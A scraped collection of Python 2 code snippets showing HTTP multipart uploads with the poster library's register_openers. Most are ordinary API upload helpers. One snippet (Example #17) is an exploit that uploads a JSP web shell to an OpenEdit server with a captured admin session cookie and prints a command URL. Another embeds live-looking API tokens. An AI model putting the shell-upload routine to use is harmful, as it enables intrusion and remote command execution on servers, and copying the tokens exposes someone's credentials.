def qstat():
  print "Queue Stats"
  register_openers()
  data = {
    'type': "QSTAT",
  }
  return post(data, JOB_QUEUE)
Example #2
0
def _upload(abspath, canonpath, token):
    upload_url = _apicall('GET', 'get_upload_url', token=token)
    register_openers()
    body, headers = multipart_encode({'file': open(abspath),
                                      'path': canonpath,
                                      'mtime': os.path.getmtime(abspath)})
    _apicall('POST', upload_url, body, headers=headers, token=token)
Example #3
0
def baidu_tts(text, touser):
    url = "http://tsn.baidu.com/text2audio?tex=%s&lan=zh&ctp=1&cuid=c18013792913&tok=%sspb=6"
    token = "24.fe6aa4ee58e8253f893f4434dfa417d7.2592000.1462250664.282335-7954404"
    urltest = "http://tsn.baidu.com/text2audio?tex=%s&lan=zh&ctp=1&cuid=c18013792913&tok=24.fe6aa4ee58e8253f893f4434dfa417d7.2592000.1462250664.282335-7954404"
    # req=url%(text,token)
    text = text.encode('utf8')
    text = urllib.quote(text)
    url = url % (text, token)
    res = urllib2.urlopen(url)
    # if res.code ==200:
    f = open("zhishangbugou.mp3", "wb")
    f.write(res.read())
    f.close()
    #import StringIO
    #fp = StringIO.StringIO(res.read())
    new_access_token = WEI_TOKEN(touser)
    access_token = new_access_token.get_and_save_access_token()

    # access_token="n9tquWmIQV7HUPr5MNKO90w3V-m6k6oLKJFExQUTyqJ3o-xOMkeafd3tqxAP-NmgsxRj5vIRtxyrCDGSwu5d5Lpuq2cOrPdmmLF-cG61sRnFveGCkRvJTwB65hpsJSTsGPAeACAXGR"
    url = "https://api.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=voice" % (
        access_token)
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    register_openers()
    #datagen, headers = multipart_encode({"filename":fp})
    datagen, headers = multipart_encode(
        {"filename": open("zhishangbugou.mp3", "rb")})
    request = urllib2.Request(url, datagen, headers)
    import json
    result = urllib2.urlopen(request)
    return json.loads(result.read())
    return True
    return False
Example #4
0
def file_upload(subdomain, tld, authid, filepath, optional_params = {}):
    """ Upload a file to ShareFile.  Requires poster module http://pypi.python.org/pypi/poster/

    Args:
        string subdomain
        string tld
        string authid
        string filepath complete path to local file to upload
        dictionary optional_parameters see api.sharefile.com for optional parameter names
    """
    url_params = {'authid':authid, 'fmt':'json', 'op':'upload', 'filename':os.path.basename(filepath)}
    url_params.update(optional_params)

    url = 'https://%s.%s/rest/file.aspx?%s'%(subdomain, tld, urllib.urlencode(url_params))

    register_openers()

    try:
        response = json.loads(urllib2.urlopen(url).read())

        if not response['error']:
            upload_url = response['value']

            datagen, headers = multipart_encode({'File1':open(filepath, 'rb')})
            request = urllib2.Request(upload_url, datagen, headers)
            print 'Starting upload...'
            upload_response = urllib2.urlopen(request)
            print upload_response.read()
            print 'Upload complete.'
        else:
            print 'Error %d : %s'%(response['errorCode'], response['errorMessage'])

    except urllib2.HTTPError as ex_http:
        print ex_http
Example #5
0
def get_language_model():
    print "Retrieving the language model."

    # Register the streaming http handlers with urllib2
    register_openers()

    data1 = encode.MultipartParam("formtype", "simple")
    data2 = encode.MultipartParam.from_file("corpus", "./data/model/phrase_list.txt")
    datagen, headers = encode.multipart_encode([data1, data2])

    # Create the Request object
    request = urllib2.Request("http://www.speech.cs.cmu.edu/cgi-bin/tools/lmtool/run", datagen, headers)
    # Do the request, and get the response
    data = urllib2.urlopen(request).read()

    # Get all the anchors.
    soup = BeautifulSoup(data, "html.parser")
    anchors = soup.find_all("a")

    # Get the base name and its numeric part.
    base = os.path.basename(anchors[0]["href"])
    num_part = os.path.splitext(base)[0][3:]

    # Get the url less the base name.
    url = anchors[0]["href"]
    url_dir = url[: -len(base)]

    # Construct the url for LM download.
    dic = url_dir + num_part + ".dic"
    lm = url_dir + num_part + ".lm"

    # Download and save the LM.
    urllib.urlretrieve(dic, "./data/model/lm/sphinx.dic")
    urllib.urlretrieve(lm, "./data/model/lm/sphinx.lm")
    print "Created ./data/model/lm/sphinx.dic and ./data/model/lm/sphinx.lm"
Example #6
0
def sendCaptchaOnBayou(phone_number, captcha):
    # 发送验证码
    # 通过八优短信平台
    web_address = "http://sms.c8686.com/Api/BayouSmsApi.aspx"
    content = ''.join([captcha, "(千里验证码)"])
    # content = ''.join([captcha, "(Qianli Captcha)"])
    coding = "gb2312"
    username = "******"
    password = "******"

    password_md5 = hashlib.md5()
    password_md5.update(password)
    one_encode = urllib2.quote(content.decode('utf8').encode(coding))
    # 在 urllib2 上注册 http 流处理句柄
    register_openers()
    datagen, headers = multipart_encode({"func": "sendsms",
        "username": username,
        "password": password_md5.hexdigest(),
        "smstype": 0,
        "timeflag": 0,
        "mobiles": phone_number,
        "message": one_encode
    })
    # 创建请求对象
    request = urllib2.Request(
       web_address, datagen, headers)
    # 实际执行请求并取得返回
    result = urllib2.urlopen(request)
Example #7
0
def post_image(upload_url,filename,time):
	# Register the streaming http handlers with urllib2
	#try a maximum of 5 times
	upload_attempts = 0
	while upload_attempts < 5:
		try:
			register_openers()
			
			datagen, headers = multipart_encode({"file": open(filename),"time":time,"camera_id":camera_id,"token":token})
			
			request = urllib2.Request(upload_url, datagen, headers)
			
			response =  urllib2.urlopen(request).read()
			print response
			if response == '200':
				#delete files here
				os.remove(filename)
				print('RESPONSE OKAY FILE DELETED')
				return True
			else:
				print('SERVER ERROR FILE NOT DELETED')
				return False
				
		except Exception,e:
			print("Error posting file")
			print(e)
			print("Retrying...")
			upload_attempts += 1
Example #8
0
def upload_results():
	global fname
	global dir_sep

	socket.setdefaulttimeout(60)
	print "Completed Task: %s" % (f_name)
	df = '%s.done' % (f_name)
	f = open(df, 'wb')
	f.write('\n'.join(foundips))
	f.close()

	url = 'http://%s/upload' % (args.server)
	
	register_openers()
	f = open(df, 'rb')
	datagen, headers = multipart_encode({'data': f})
	try:
		request = urllib2.Request(url,datagen,headers)
		print urllib2.urlopen(request).read()
	except:
		print "Some kind of error uploading..."
		res = urllib2.urlopen('http://%s/cancelme/%s' % (args.server,f_name))
		
	f.close()
	
	if args.keep_copy:
		if args.verbosity:
			print "Keeping local copy in fin%s%s" % (dir_sep, df)
		os.renames(df, "fin%s%s" % (dir_sep, df)) # creates directory if it doesnt exist already

	if os.path.exists(f_name):
		os.remove(f_name)
	if os.path.exists(df) and not args.keep_copy:
		os.remove(df)
Example #9
0
 def _request(self, url=None, params=None, outputs=None, multipart=False):        
     """ Make HTTP Request """        
     if url is None:
         url = self.provider_url
     if outputs is None:
         outputs = {}
     try:
         if params is not None:    
             if multipart:
                 register_openers()
                 datagen, headers = multipart_encode(params)
                 response_raw = urlopen(Request(url, datagen, headers)).read()
             else:
                 response_raw = urlopen(Request(url), urlencode(params)).read()
         else:
             response_raw = urlopen(Request(url)).read()
     except HTTPError:
         response_raw = ""
     output = {
         "raw": response_raw
     }
     try:
         for key, func in outputs.iteritems():
             output[key] = func(response_raw)
     except:
         pass                      
     return output
def getWordList(img_id):

    register_openers()
    APIKEY = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"
    url = 'https://api.apigw.smt.docomo.ne.jp/characterRecognition/v1/document/' + img_id + '?APIKEY=' + APIKEY
    
    request = urllib2.Request(url)
    
    recog_result = {}
    for i in range(5):
        response = urllib2.urlopen(request)
        res_dat = response.read()
        
        recog_result = json.loads(res_dat)
        
        status = recog_result['job']['@status']
        
        if status == 'queue':
            print '受付中...'
        elif status == 'process':
            print '認識処理中...'
        elif status == 'success':
            print '認識成功' #, recog_result
            word_list = makeWordList(recog_result)
            #print json.dumps(recog_result, indent=2) #jsonを表示する
            return word_list
        elif status == 'failure':
            print '認識失敗'
            return None

        time.sleep(3) #ちょっと待つ
Example #11
0
def call_api(relative_url, params):
    """ Make an API call.

        'relative_url' is the relative URL of the API call to make, and
        'params' is a dictionary of parameters to pass to the API call.

        We attempt to access the given URL and extract the response.  Upon
        completion, we return a (success, response) tuple, where 'success' will
        be True if the request succeeded and the server returned an HTTP status
        code in the range 299-299 (indicating that the request was processed
        successfully).

        If the request succeeded, 'response' will be the body of the HTTP
        response returned by the server.  If the request failed, 'response'
        will be a suitable string indicating what went wrong.
    """
    register_openers()

    data_generator,headers = multipart_encode(params)

    print "calling /identity/" + relative_url

    try:
        f = urllib2.urlopen(urllib2.Request(settings.IDENTITY_API_URL +
                                            "/identity/" + relative_url,
                                            data_generator, headers))
    except urllib2.HTTPError,e:
        contents = e.read()
        print contents
        return (False, str(e))
Example #12
0
def enter_data(request, username, id_string):
    owner = User.objects.get(username=username)
    xform = get_object_or_404(XForm, user__username=username, id_string=id_string)
    if not has_permission(xform, owner, request):
        return HttpResponseForbidden("Not shared.")
    if not hasattr(settings, "TOUCHFORMS_URL"):
        return HttpResponseRedirect(reverse("main.views.show", kwargs={"username": username, "id_string": id_string}))
    url = settings.TOUCHFORMS_URL
    register_openers()
    response = None
    with tempfile.TemporaryFile() as tmp:
        tmp.write(xform.xml.encode("utf-8"))
        tmp.seek(0)
        values = {"file": tmp, "format": "json", "uuid": xform.uuid}
        data, headers = multipart_encode(values)
        headers["User-Agent"] = "formhub"
        req = urllib2.Request(url, data, headers)
        try:
            response = urllib2.urlopen(req)
            response = json.loads(response.read())
            context = RequestContext(request)
            owner = User.objects.get(username=username)
            context.profile, created = UserProfile.objects.get_or_create(user=owner)
            context.xform = xform
            context.content_user = owner
            context.form_view = True
            context.touchforms = response["url"]
            return render_to_response("form_entry.html", context_instance=context)
            # return HttpResponseRedirect(response['url'])
        except urllib2.URLError:
            pass  # this will happen if we could not connect to touchforms
    return HttpResponseRedirect(reverse("main.views.show", kwargs={"username": username, "id_string": id_string}))
Example #13
0
def upload2(pyew, doprint=True):
    """ upload file to virscan.org"""
    print sys.getdefaultencoding()
    register_openers()
    url = r'http://up.virscan.org/up.php'


    datagen, headers = multipart_encode({"upfile": open(pyew.filename, "rb"),
        'UPLOAD_IDENTIFIER' : 'KEYbc7cf6642fc84bf67747f1bbdce597f0',
        'langkey' : '1',
        'setcookie' : '0',
        'tempvar' : '',
        'fpath' : 'C:\\fakepath\\'+pyew.filename
        })


    request = urllib2.Request(url, datagen, headers)
    request.add_header('Host', 'up.virscan.org')
    request.add_header('Cache-Control', 'max-age=0')
    request.add_header('User-Agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36')
    request.add_header('Host', 'up.virscan.org')
    request.add_header('Accept-Encoding', 'gzip, deflate')
    request.add_header('Accept-Language', 'zh-CN,zh;q=0.8,en;q=0.6')

    resp = urllib2.urlopen(request).read()
    if re.findall("innerHTML='(.*?) file upload", resp):
        print "Upload File Failed"
    else:
        print "Upload Success"
Example #14
0
    def uploadFile(url,path,spath,key,id):
        # 在 urllib2 上注册 http 流处理句柄
        print ("1111<<<")
        register_openers()
        print ("22222<<<")
        # 开始对文件 "DSC0001.jpg" 的 multiart/form-data 编码
        # "image1" 是参数的名字,一般通过 HTML 中的 <input> 标签的 name 参数设置

        # headers 包含必须的 Content-Type 和 Content-Length
        # datagen 是一个生成器对象,返回编码过后的参数
        #datagen, headers = multipart_encode({"file":f.stream,"smallfile":f.stream,"bannerId":id})

        #image_path = "/Users/hucx/Desktop/hello/400x400.png"
        fr = open(path, "rb")
        #image_path1="/Users/hucx/Desktop/hello/01.jpg"
        fr1=open(spath, "rb")
        params = {'file': fr,"smallfile":fr1,key: id}
        datagen, headers = multipart_encode(params)

        print ("=====")
        print (datagen)
        print (headers)
        # 创建请求对象
        request = urllib2.Request(url, datagen, headers)
        response_data = urllib2.urlopen(request)
        result = response_data.read()
        return result
Example #15
0
    def request(self, uri, method="POST",
                body=None, headers=None):

        params = {
            'oauth_consumer_key': self.consumer.key,
            'oauth_signature_method': self.method.name,
            'oauth_token':self.token.key,
            'oauth_timestamp':oauth2.generate_timestamp(),
            'oauth_nonce':oauth2.generate_nonce(),
            'oauth_version':'1.0'
        }
    
        echo_request = EchoRequest(method="GET",
                                      url=self.auth_service_provider,
                                      parameters=params
                                      )
    
        signature=echo_request.sign_request(oauth2.SignatureMethod_HMAC_SHA1(),
                                                  self.consumer,
                                                  self.token)
    
        if not headers:
            headers={}
        headers.update(echo_request.to_header(self.realm, self.auth_service_provider))
        
        register_openers()
        datagen, heads = multipart_encode(body)
        headers.update(heads)
        req = urllib2.Request(uri, datagen, headers)
        response = urllib2.urlopen(req)
        return response
Example #16
0
def checkForCrashes(dumpDir, symbolsPath, testName=None):
  stackwalkPath = os.environ.get('MINIDUMP_STACKWALK', None)
  stackwalkCGI = os.environ.get('MINIDUMP_STACKWALK_CGI', None)
  # try to get the caller's filename if no test name is given
  if testName is None:
    try:
      testName = os.path.basename(sys._getframe(1).f_code.co_filename)
    except:
      testName = "unknown"

  foundCrash = False
  dumps = glob.glob(os.path.join(dumpDir, '*.dmp'))
  for d in dumps:
    log.info("PROCESS-CRASH | %s | application crashed (minidump found)", testName)
    if symbolsPath and stackwalkPath and os.path.exists(stackwalkPath):
      nullfd = open(os.devnull, 'w')
      # eat minidump_stackwalk errors
      subprocess.call([stackwalkPath, d, symbolsPath], stderr=nullfd)
      nullfd.close()
    elif stackwalkCGI and symbolsPath and isURL(symbolsPath):
      f = None
      try:
        f = open(d, "rb")
        sys.path.append(os.path.join(os.path.dirname(__file__), "poster.zip"))
        from poster.encode import multipart_encode
        from poster.streaminghttp import register_openers
        import urllib2
        register_openers()
        datagen, headers = multipart_encode({"minidump": f,
                                             "symbols": symbolsPath})
        request = urllib2.Request(stackwalkCGI, datagen, headers)
        print urllib2.urlopen(request).read()
      finally:
        if f:
          f.close()
    else:
      if not symbolsPath:
        print "No symbols path given, can't process dump."
      if not stackwalkPath and not stackwalkCGI:
        print "Neither MINIDUMP_STACKWALK nor MINIDUMP_STACKWALK_CGI is set, can't process dump."
      else:
        if stackwalkPath and not os.path.exists(stackwalkPath):
          print "MINIDUMP_STACKWALK binary not found: %s" % stackwalkPath
        elif stackwalkCGI and not isURL(stackwalkCGI):
          print "MINIDUMP_STACKWALK_CGI is not a URL: %s" % stackwalkCGI
        elif symbolsPath and not isURL(symbolsPath):
          print "symbolsPath is not a URL: %s" % symbolsPath
    dumpSavePath = os.environ.get('MINIDUMP_SAVE_PATH', None)
    if dumpSavePath:
      shutil.move(d, dumpSavePath)
      print "Saved dump as %s" % os.path.join(dumpSavePath,
                                              os.path.basename(d))
    else:
      os.remove(d)
    extra = os.path.splitext(d)[0] + ".extra"
    if os.path.exists(extra):
      os.remove(extra)
    foundCrash = True

  return foundCrash
Example #17
0
def tryUpload(cookie):
        sys.stdout.write("(+) Creating shell and preparing.. ")
        sys.stdout.flush()
	adminCookie = re.search("JSESSIONID=(.*) for", str(cookie))
	url = ("http://%s%sopenedit/filemanager/upload/uploadfile-finish.html" % (options.target, options.dirPath))

	try:
		writeShell = open(jspSname,'w')
		writeShell.write(jspShell)
		writeShell.close()
	except:
		print "(-) Exploit failed, you must have permission to write locally."
		sys.exit(1)

	register_openers()
	datagen, headers = multipart_encode({"file": open(jspSname), "path": "/WEB-INF/base/"})
	headers['Cookie'] = "JSESSIONID="+adminCookie.group(1)+";"
	headers['User-agent'] = agent
	request = urllib2.Request(url, datagen, headers)
        request.set_proxy(options.proxy, 'http')
	resp = urllib2.urlopen(request).read()
	writeShell.close()
	if re.search("UPLOAD SUCCESSFUL", resp):
		sys.stdout.write("shell upload was successful!\n")
		sploit = ("http://%s%s%s?cmd=[CMD]" % (options.target, options.dirPath, jspSname))
		sys.stdout.write("(+) Shell located @ %s\n" % (sploit))
		sys.stdout.flush()
Example #18
0
 def send_http_post(self, ip, httpport, flow, delay, size):
     '''
     Loops "flow"-times and sends a file previously generated by a C Script
     to a webserver via HTTP-POST.
     This is threadsave for multiple client instances.
     @param ip:
     @param httpport:
     @param flow:
     @param delay:
     @return: True / False (Success / Fail)
     '''
     # Register the streaming http handlers with urllib2
     register_openers()
     process = call(["/usr/local/bin/Zeus/filemaker/filemaker", size])
     # Run Filemaker (a c program for filemaking by size)
     # A file with the given size(byte) will be stored in /tmp/size
     # headers contains the necessary Content-Type and Content-Length
     # datagen is a generator object that yields the encoded parameters
     datagen, headers = multipart_encode({"file": open("/tmp/size", "rb")})
     lost = 0
     for i in range(flow):
         time.sleep(delay)
         try:
             request = urllib2.Request("http://" + ip + ":" + httpport + "/http_post", datagen, headers)
             f = urllib2.urlopen(request)
         except:
             lost +=1
         #lock.acquire()
         #self.progress.update_progress()
         #lock.release()
         sys.stdout.write("\r" + str(lost) + "messages lost")
         self.progress.update_progress()
     print "\nDone! " + str(lost) + " messages lost"
     return True
def main():
    register_openers()

    printers = local_settings.PRINTERS
    statuses = []
    threads = []
    queue = Queue()
    for item in printers:
        p = multiprocessing.Process(target=clientprog, args=(queue, item))
        p.start()
        threads.append(p)
    for item in threads:
        try:
            item.join()
        except:
            pass
    while not queue.empty():
        statuses.append(queue.get())

    if len(statuses) == 0:
        print "Failed to connect to any printer"
        return
    data = {"printers": statuses, "timestamp": time.time()}
    json.dump(data, open("statuses.json", "w"))
    send(settings.UPLOAD_DESTINATION, "statuses.json")
Example #20
0
def testMakeGraphsWithTagPrivate(email, password, tag, filename):
	register_openers()
	
	datagen, headers = multipart_encode({"username": email, "password": password})
	url = URL_PATH + "api/tags/user/" + email + "/" + tag + "/makePrivate/"

	request = urllib2.Request(url, datagen, headers)
	
	response = byteify(json.loads(urllib2.urlopen(request).read()))

	if 'Error' in response:
		print "Error in testMakeGraphsWithTagPrivate: " + response['Error']
	else:
		con = None
		try:
			con = lite.connect(DB_FULL_PATH)
			cur = con.cursor()

			cur.execute('select public from graph where graph_id = ? and user_id = ?', (filename, email))
			data = cur.fetchone()

			if data == None:
				print "Error in testMakeGraphsWithTagPrivate: " + filename + " does not exist!"

			isPublic = data[0]

			if isPublic == 0:
				print "Passed testMakeGraphsWithTagPrivate test!"
			else:
				print "Error in testMakeGraphsWithTagPrivate: " + filename + " is still not private!"

		except lite.Error, e:
			print 'Error %s:' % e.args[0]

		finally:
Example #21
0
	def Update(self):
		"""Updates and deploys a new appversion."""
		if len(self.args) != 1:
			self.parser.error('Expected a single <directory> argument.')

		path = self.args[0]
		if not os.path.exists(path):
			StatusUpdate('%s doesn\'t exist' % path)
			return
		
		if not self.options.server:
			self.options.server = self.raw_input_fn('Target controller server: ')
		if not self.options.email:
			self.options.email = self.raw_input_fn('Enter Username(Email): ')
		
		if not self.options.password:
			self.options.password = self.password_input_fn('Password: '******'http://%s/api/upload' % self.options.server
		StatusUpdate('Uploading to %s' % url)
		tarball = pack(path, dest_file = os.path.join('/tmp', str(uuid.uuid4()).replace('-', '')) )
		StatusUpdate('Created tmp file at %s' % tarball)
		
		tarball_data  = open(tarball, 'rb')

		register_openers()
		datagen, headers = multipart_encode({
							"uploaded_app" : tarball_data,
							"owner" : self.options.email,
							"password_hash" : hashlib.md5(self.options.password).hexdigest()})
		# Create the Request object
		request = urllib2.Request(url, datagen, headers)
		# Response back from the server....
		answer = urllib2.urlopen(request).read()
		StatusUpdate(answer)
Example #22
0
def testDeleteGraphsWithTag(email, password, tag):
	register_openers()
	
	datagen, headers = multipart_encode({"username": email, "password": password})
	url = URL_PATH + "api/tags/user/" + email + "/" + tag + "/delete/"

	request = urllib2.Request(url, datagen, headers)

	response = byteify(json.loads(urllib2.urlopen(request).read()))

	if 'Error' in response:
		print "Error in testDeleteGraphsWithTag: " + response['Error']

	con = None
	try:
		con = lite.connect(DB_FULL_PATH)
		cur = con.cursor()

		cur.execute('select * from graph_to_tag where tag_id = ? and user_id = ?', (tag, email))
		data = cur.fetchone()

		if data == None:
			print "Passed testDeleteGraphsWithTag test!"
		else:
			print "Error in testDeleteGraphsWithTag"

	except lite.Error, e:
		print 'Error %s:' % e.args[0]
def to_facebook_trophy_album(access_token, img_src, facebook_album_id, nom):
    now = datetime.datetime.now()
    name = str(facebook_album_id) + '_' + str(now.strftime("%Y%m%dT%H%M%S")) + '.jpg'
    path = MEDIA_ROOT + '/photos/temp/' + name
    image = MyOpener()
    image.retrieve(img_src, path)
    
    post_url = shorten_url('http://portrit.com/#!/nomination/' + str(nom.id))
    
    vote_count = nom.current_vote_count
    vote_text = '1 vote.'
    if vote_count > 1:
        vote_text = str(vote_count) + ' votes.'
    message = 'Won ' + nom.nomination_category + ' with ' + vote_text + '\n' + post_url
    args = {
        'access_token': access_token,
        'message': message,
    }
    
    register_openers()
    
    url = 'https://graph.facebook.com/' + str(facebook_album_id) + '/photos?' + urllib.urlencode(args)
    params = {'file': open(path, "rb"), 'value': 'source', 'name': name, 'filetype': 'image/jpeg'}
    datagen, headers = multipart_encode(params)
    request = urllib2.Request(url, datagen, headers)
    try:
        response = urllib2.urlopen(request)
        data = response.read()
    except HTTPError, e:
        print 'Error code: ', e.code
    def __init__(self, configuration):
        """
        Initializes a new Socrata API object with configuration
        options specified in standard ConfigParser format
        """

        self.config = configuration
        self.username, password, host, api_host = (self.config.get('credentials', 'user'),
            self.config.get('credentials', 'password'),
            self.config.get('server', 'host'),
            self.config.get('server', 'api_host'))

        self.app_token  = self.config.get('credentials', 'app_token')
        self.api        = Http()
        self.url        = host
        self.id_pattern = re.compile('^[0-9a-z]{4}-[0-9a-z]{4}$')

        response, content = self.api.request('%s/authenticate' % api_host, 'POST',
            headers={'Content-type': 'application/x-www-form-urlencoded',
                     'X-App-Token': self.app_token},
            body=urlencode({'username': self.username, 'password': password}))
        cookies = re.search('(_blist_session_id=[^;]+)', response['set-cookie'])
        self.cookie = cookies.group(0)
        # For multipart upload/streaming
        register_openers()
Example #25
0
    def upload_to_server(self, file_path, thumbpath, duration, cuts=[], \
            vseq=None, vshot=None, st=0, et=0):
        '''Upload a file to vixen server'''
        server = self.db(self.db.prefs.name == 'server').select().first().value
        
        register_openers()
        request_page = "%s/utils/upload_from_maya.json" % server

        fd = open(file_path, "rb")
        tu = open(thumbpath, "rb")
        sha1 = hashlib.sha1(fd.read()).hexdigest()
        tusha1 = hashlib.sha1(tu.read()).hexdigest()
        if vshot:
            datagen, headers = multipart_encode({'prfile': fd, 'thumb':tu, 'sha1':sha1, \
                    'auth':self.get_vAuth(), 'frames':duration, 'tusha1':tusha1,\
                    'st':st, 'et':et, 'shotuuid':vshot})
        elif vseq:
            datagen, headers = multipart_encode({'prfile': fd, 'thumb':tu, \
                    'auth':self.get_vAuth(), 'frames':duration, 'sha1':sha1, \
                    'cuts':cuts, 'tusha1':tusha1, 'sequuid':vseq})
        
        else:
            warning('Vixen Error: Scene not assigned.')
            return
        # Create the Request object:confirm bd

        request = urllib2.Request(request_page, datagen, headers)
        data = urllib2.urlopen(request).read()
        feedback = json.loads(data)
        if feedback['result'] == 'ok':
            print feedback['info']
        else:
            warning('Vixen Server Error: %s' % feedback['info'])
Example #26
0
 def sendReport(self):
     try:
         report_dir = os.path.dirname(self.report_path)
         self.zip_folder(report_dir, 'D:\\report.zip')
         self.logger.info(u'报告已打包')
         zip_file = open('D:\\report.zip', 'rb')
         url = r'http://' + self.remote_server_ip + ':' + self.remote_server_port + r'/uploadreport/'
         self.logger.info('url: ' + url)
         # 在 urllib2 上注册 http 流处理句柄
         register_openers()  
         # 开始对multipart/form-data编码
         # headers 包含必须的 Content-Type 和 Content-Length
         # datagen 是一个生成器对象,返回编码过后的参数
         datagen, headers = multipart_encode({
                 'system'   : self.system, 
                 'province' : self.province, 
                 'city' : self.city, 
                 'reporter' : self.reporter, 
                 'zip' : zip_file })
         self.logger.info(u'完成待发送数据编码')
         # 创建请求对象
         request = urllib2.Request(url, datagen, headers)
         self.logger.info(u'请求对象创建成功')
         # 实际执行请求并取得返回
         urllib2.urlopen(request, timeout=120)
         self.logger.info(u'巡检报告提交成功')
     except Exception, e:
             self.logger.info(e)        
  def Request(self, url, paramter = {}):
    params = dict(paramter, **self.__request)
             
    if self.__multipart == True:
      register_openers()
      #pprint.pprint(params)
      datagen, headers = multipart_encode(params)
      req = urllib2.Request(url, datagen, dict(headers, **self.__headers))
    else:
      req = urllib2.Request(url, urllib.urlencode(params), self.__headers)

    ## read http error codes
    content = str(urllib2.urlopen(req).read())
    
    #content = content.encode("utf-8")
    
    if self.debug == 1:
      self.Debug(content) 
            
    self.__response = json.loads(content)

    if self.__response['code'] != 0:
      raise Exception(self.__response['response'])
    
    if self.__response['type'] == 'list':
      self.__response['response'] = json.loads(self.__response['response'])

    return self
Example #28
0
 def _write(self, params):
     if 'email' not in params or 'password' not in params:
         raise AuthError('Must supply your email and password for Authentication.')
     params.setdefault('date', datetime.now())
     params.setdefault('private', 0)
     params.setdefault('tags', None) # comma-separated list
     if params['tags'] != None and (isinstance(params['tags'], list) != True):
         raise RequestError('param tags must be a list object')
     params.setdefault('slug', None)
     params.setdefault('state', 'published')
     if 'data' not in params:
         c = pycurl.Curl()
         c.setopt(pycurl.POST, 1)
         c.setopt(pycurl.URL, 'http://www.tumblr.com/api/write')
         c.setopt(pycurl.POSTFIELDS, urlencode(params))
         c.perform()
         response_status_code = c.getinfo(pycurl.RESPONSE_CODE)
         if response_status_code != 201:
             raise RequestError('Error!Http status code %d returned.' % response_status_code)
         c.close()
     else:
         # code of this line is used to reconstruct params removing items whose value is None
         # poster.encode.multipart_encode() accept dict with no None value items
         params = dict((k, v) for k, v in params.iteritems() if v)
         register_openers()
         datagen, headers = multipart_encode(params)
         request = urllib2.Request('http://www.tumblr.com/api/write', datagen, headers)
         try:
             urllib2.urlopen(request)
         except urllib2.HTTPError, e:
             raise RequestError('Error!Http status code %d returned.' % e.code)
Example #29
0
def set_vk(request):
    upload_url = request.POST.get('upload_url')

    if upload_url:
        data = request.POST.get('data')

        try:
            data = simplejson.loads(data)
        except ValueError:
            data = None

        gender = request.POST.get('gender')
        image = compose_image(data, gender)

        image_filename = "%s.%s" % (str(uuid.uuid4()), 'png')
        image_path = "%s/%s" % (settings.MEDIA_ROOT, image_filename)
        image.save(image_path)

        register_openers()
        datagen, headers = multipart_encode({"photo": open(image_path, "rb")})

        # Create the Request object
        request = urllib2.Request(upload_url, datagen, headers)
        # Actually do the request, and get the response
        response = urllib2.urlopen(request).read()
        return HttpResponse(response)

    return HttpResponseBadRequest()
   def upload(self, files, upload_token):
       """
       Upload one or more files to the server.
       'files' is either a filename or an array of filenames.
       Upload must be called prior to creation.
       """
       assert self.token is not None, "call login(username, key) to obtain a token"
       assert self.user is not None, "internal error, no user value"
 
       poster_streaming.register_openers()
 
       # Start the multipart/form-data encoding of the files
       # headers contains the necessary Content-Type and Content-Length
       # datagen is a generator object that yields the encoded parameters
 
       input_hash = {}
       if type(files) == type(""):
           files = [ files ]
       for f in files:
           base = os.path.basename(f)
           input_hash[base] = open(f, "rb")
       input_hash["auth_token"] = self.token
       input_hash["auth_user"]  = self.user
       input_hash["upload_token"]  = upload_token
       datagen, headers = poster_encode.multipart_encode(input_hash)
 
       # Create the Request object
 
       request = urllib2.Request("https://%s/api/publish/v1/upload" % self.config.get_upload_server(), datagen, headers)
 
       # Actually do the request, and get the response
       try:
           response = urllib2.urlopen(request).read()
       except urllib2.HTTPError, he:
           self.__convert_error_to_exception(he)
Example #31
0
def test003():
    url = "http://www.example.com"
    body_value = {"package": "com.tencent.lian","version_code": "66" }
    register_openers()
    body_value  = json.JSONEncoder().encode(body_value)
    request = urllib2.Request(url, body_value)
    #request.add_header(keys, headers[keys])
    result= urllib2.urlopen(request ).read()
Example #32
0
def doctoofd(filepath, uploadurl, checkurl):
    #测试网址 http://localhost:8080/cpcns-convert-server/console/check.jsp
    #传输文件
    try:
        register_openers()
        datagen, headers = multipart_encode({"file": open(filepath, "rb")})
        request = urllib2.Request(uploadurl, datagen, headers)
        Ticket = urllib2.urlopen(request).read()
        print Ticket
        print len(Ticket)
    except:
        return ""

    if (len(Ticket) <> 32): return ""
    run_num = 10  #最大允许服务器错误次数
    #查询是否转换完毕
    time.sleep(5)
    while True:
        print "checkurl = " + checkurl
        if run_num < 0:
            print "error max "
            return ""
        try:
            check_ret = checkfile(checkurl, Ticket)
        except Exception, e:
            print e
            print "checkfile error"
            run_num = run_num - 1
            time.sleep(3)
            continue
        print "check_ret = " + check_ret
        #返回码	含义	说明
        #0	正在转换过程中	已从转换队列中移除,交由转换节点开始进行转换
        #-1	数据源包不符合规范
        #文件不是ZIP文件:无法用标准ZIP方式打开文件
        #无包描述文件:无法在ZIP文件的根下找到Main.xml文件
        #包内XML文件无法解析
        #-2	找不到数据处理器	Main.xml中根节点的Type属性指定的转换处理器没有注册
        #-3	数据不可达
        #引用的内部文件无法在ZIP中找到
        #使用了外部数据,但使用提供的URL无法获取内容
        #-4	转换器错误	转换处理器在执行过程中抛出了异常导致无法正常完成转换
        #-5	转换未开始	任务正在转化队列中等待
        #-6	数据源包不存在	无法在服务器上找到指定的源数据包
        #-7	后处理错误	后处理接口在处理文件时出错
        #-8	无法读取指定模板	在数据源包或服务器上未能找到指定的模板文件
        #-9	未知错误	原因不明的任务失败,需要保留错误日志以供排查
        try:
            ret_num = int(check_ret)
            if ret_num <> -5 and ret_num <> 0:
                return ""
        except:
            print check_ret[0:4]
            if not check_ret[0:4] == "http":
                print "check_ret error , not http"
                return ""
            return Ticket
        time.sleep(3)
Example #33
0
 def postfile_deletethis(self, filepath):
     register_openers()
     print filepath
     params = {'file': open(filepath, "rb"), 'name': 'upload test'}
     datagen, headers = multipart_encode(params)
     req = urllib2.Request(
         "http://netduinoplus.azurewebsites.net/api/capture", datagen,
         headers)
     print urllib2.urlopen(req).read()
Example #34
0
def upload(filePath,fileName):
    url=host+"uploadFile"
    register_openers()
    files = {"file":open(filePath,"rb")}
    data = {'token':token,"fileName":fileName,"pagesNum":pagesNum}
    req = requests.post(url,files=files,data=data)
    print(req.text)

    return
Example #35
0
 def http_post_form(self, http_url, body, headersDict):
     register_openers()
